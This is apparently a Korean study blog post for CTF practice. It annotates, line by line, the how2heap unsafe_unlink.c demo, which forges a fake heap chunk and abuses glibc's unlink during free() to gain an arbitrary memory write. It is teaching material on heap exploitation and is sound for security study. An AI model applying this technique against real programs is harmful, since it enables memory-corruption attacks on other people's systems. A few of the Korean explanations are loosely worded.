2025. 5. 12. 12:50ㆍHacking/Pwnable
ctf 팀원들에게 고수와 염소짤 그만보내고 공부를 하도록 하자..
원문 링크 : https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file
GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.
A repository for learning various heap exploitation techniques. - shellphish/how2heap
github.com
unsafe_unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
전문 코드는 위와 같다.
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
uint64_t *chunk0_ptr;
-> 전역 포인터 변수 : 이 포인터를 나중에 공격을 통해 덮어쓰는 것이 목표임
-> 공격이 성공하면 이 포인터가 원하는 주소를 가리키게 할 수 있음
setbuf(stdout, NULL);
- stdout 버퍼링을 비활성화해, printf() 출력이 즉시 화면에 나타나도록 설정함
-> 디버깅용 메시지가 바로 나오도록 하기 위한 설정임
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
-> 기법 설명 출력 : unsafe unlink은 free()에서 unlink()가 실행되는 조건을 만족하게 하여, fd, bk 포인터 조작을 통해 임의의 쓰기를 유도하는 해킹 기법임
-> 주로 힙 버퍼 overflow로 조작하고 전역 포인터를 덮어써서 원하는 곳을 가리키게 할 수 있음
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
-> malloc_size를 0x420으로 설정한 이유는 다음과 같다.
-> 이 크기의 chunk는 tcache(최대 0x408까지)나 fastbin(최대 0x80까지)에 들어가지 않음
=> free() 시 unsorted bin으로 들어가게 하여 unlink()가 호출되도록 유도합니다.
- unsafe unlink은 tcache나 fastbin에서는 동작하지 않음
int header_size = 2;
- header_size는 이후 offset 계산용일 수 있지만, 현재까지는 사용되지 않았습니다.
- 일반적으로는 chunk 헤더(앞쪽 prev_size, size) 공간을 고려한 오프셋 계산용입니다.
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
목표: free()에서 unlink()가 실행될 때, fd, bk 값을 조작하여 chunk0_ptr의 값을 공격자가 원하는 주소로 덮어쓰기 하게 만드는 것.
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
chunk0_ptr = (uint64_t*) malloc(malloc_size); // chunk0
- 전역 변수 chunk0_ptr에 malloc(0x420)으로 힙 메모리를 할당.
- 이 chunk는 free 할 대상이 아니라, 조작 대상입니다.
- 후에 이 포인터가 공격자 의도대로 임의 주소를 가리키게 되면 성공.
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); // chunk1
- 두 번째 힙 chunk 할당.
- 이 chunk가 unlink를 유도하기 위해 fake chunk의 victim이 될 chunk입니다.
- free() 시 이 청크에 세팅된 fd, bk 포인터들이 해제되면서 메모리를 조작하는 데 사용됩니다.
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
- chunk0_ptr라는 전역 변수의 주소가 0x404050이다.
- 현재 chunk0_ptr는 malloc()을 통해 할당된 힙 메모리 주소 0x603000을 가리키고 있음.
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We create a fake chunk inside chunk0.\n");
-> chunk0_ptr 내부에 Fake Chunk를 만든다는 뜻입니다.
-> 즉, 기존에 malloc한 chunk0의 사용자 데이터 영역 일부를 fake chunk로 조작하는 겁니다.
printf("We setup the size of our fake chunk so that we can bypass the check introduced in ...\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
- fake chunk의 size 필드를 설정하는 부분입니다.
- chunk0_ptr[-1]는 chunk0의 청크 헤더의 size 필드 (즉, prev_size, size) 중 size입니다.
- 이 size에서 0x10을 빼면 fake chunk가 “이전 청크보다 작다”고 보이게 되고, 이후 unlink 검사를 통과할 수 있습니다.
- 이건 glibc 2.29 미만에서 존재하던 취약점을 활용하기 위한 것.
chunk0_ptr[2] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 3);
- fake chunk의 fd 필드를 설정
- fd = &chunk0_ptr - 3인 이유는,
=> unlink()는 fd->bk = P를 실행함 → 이때 fd의 bk 필드가 정확히 P를 가리켜야 함
=> 따라서 fd->bk = P가 성립되도록 fd를 조작
- 여기서 P는 fake chunk의 주소이고, &chunk0_ptr - 3은 P로부터 거슬러 올라간 적절한 주소임
- 즉, fd가 chunk0_ptr 주변을 가리켜야 fd->bk = P가 성립
chunk0_ptr[3] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 2);
- fake chunk의 bk 필드를 설정
- bk->fd = P가 성립되도록 bk를 조작
- 마찬가지로 bk도 &chunk0_ptr 근처를 가리키도록 하여 unlink의 보호 검사를 통과시키는 셈
printf("Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
- 조작된 fake chunk의 fd, bk 값을 확인하는 출력
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
- chunk는 일반적으로 header_size = 2 (prev_size, size 필드 각각 8바이트)라고 보면 된다.
=> chunk1_hdr는 chunk1의 메타데이터(header) 위치를 가리킵니다.
chunk1_hdr[0] = malloc_size;
- chunk1의 prev_size 필드를 fake로 설정한다.
=> glibc는 free(chunk1) 시, prev_in_use가 꺼져있다면 이전 청크(prev_size만큼 뒤로 이동한 주소)를 free 상태로 보고 unlink()를 실행함.
=> fake chunk의 시작 주소를 chunk1 - malloc_size로 맞춰야 unlink가 fake chunk를 대상으로 수행됨.
glibc가 fake chunk를 진짜라고 믿게 만듦
chunk1_hdr[1] &= ~1;
- chunk1의 size 필드의 맨 마지막 비트는 prev_in_use 플래그임.
이 비트를 0으로 꺼주면:
-> glibc는 "앞 chunk가 free 상태다" 라고 판단
-> 이게 켜져 있으면 unlink() 자체가 안 실행됨
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n", (void*)chunk1_hdr[0]);
- 0x430은 원래 chunk0의 size + 0x10(청크 헤더 포함) = 0x420 + 0x10임. 그런데 지금은 fake chunk를 chunk0 내부 중간에 만들었기 때문에, chunk0의 전체 크기보다 작게 조작한 것.
=> chunk0이 작다고 속이는 것이 exploit 의 핵심이 됨
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
free(chunk1_ptr);
- 이제 chunk1_ptr을 free함으로써, glibc의 heap consolidation(병합) 과정에서, "앞 청크가 free 상태이므로 병합해야겠다!"고 판단하고, 앞의 fake chunk에 대해 unlink()를 호출
https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612
sourceware.org Git
sourceware.org
여기 접속하면 unlink 구현을 볼 수 있다.
free(chunk1_ptr);
-> 실제 exploit 트리거임
-> 조작된 chunk1의 메타데이터 덕분에 앞의 fake chunk에 unlink()가 호출되며 메모리 조작이 발생
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
- 앞에서 chunk0_ptr의 값이 조작되었음 -> 이제 그 포인터를 통해 임의 주소 쓰기 가능
- 여기서는 chunk0_ptr[3]에 값을 씀 → 실제 주소는 chunk0_ptr + 3*8 = 조작된 포인터 기준 + 24
char victim_string[8];
strcpy(victim_string, "Hello!~");
- victim_string은 우리가 조작하고 싶은 대상
- 8바이트 크기의 버퍼에 "Hello!~"라는 문자열을 넣음
chunk0_ptr[3] = (uint64_t) victim_string;
- 이제 chunk0_ptr가 가리키는 메모리의 offset 3 위치에 victim_string의 주소를 씀
- 만약 chunk0_ptr가 &chunk0_ptr 근처로 조작되어 있다면 → 이 코드는 사실상 chunk0_ptr = victim_string 과 비슷한 효과
=> chunk0_ptr 자체의 값을 다시 한 번 바꿔서, victim_string을 가리키게 함
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
- 이제 chunk0_ptr가 우리가 원하는 위치(victim_string)를 가리키고 있으므로 실제 메모리를 덮어씀
printf("Original value: %s\n", victim_string);
- 덮어쓰기 전 victim_string의 내용 출력 => "Hello!~"가 나올 것
chunk0_ptr[0] = 0x4141414142424242LL;
- 공격자가 임의로 조작한 값 0x4141414142424242를 chunk0_ptr[0] 위치에 씀
=> 이때 chunk0_ptr는 victim_string을 가리키고 있으므로 victim_string[0:8] 부분이 이 값으로 덮임
printf("New Value: %s\n", victim_string);
- victim_string을 출력 → 문자열로 보면 의미 없는 값이거나 깨진 출력이 될 수 있음
- 예: AAABBBB로 보일 수 있음 (0x41='A', 0x42='B')
assert(*(long *)victim_string == 0x4141414142424242L);
- sanity check: 정말 victim_string의 시작 주소에 우리가 넣은 값이 들어갔는지 검사
- 실패하면 프로그램이 abort됩니다 (assert 실패 시 종료)
=> 조작된 포인터를 통해 원하는 메모리에 원하는 값을 쓸 수 있음.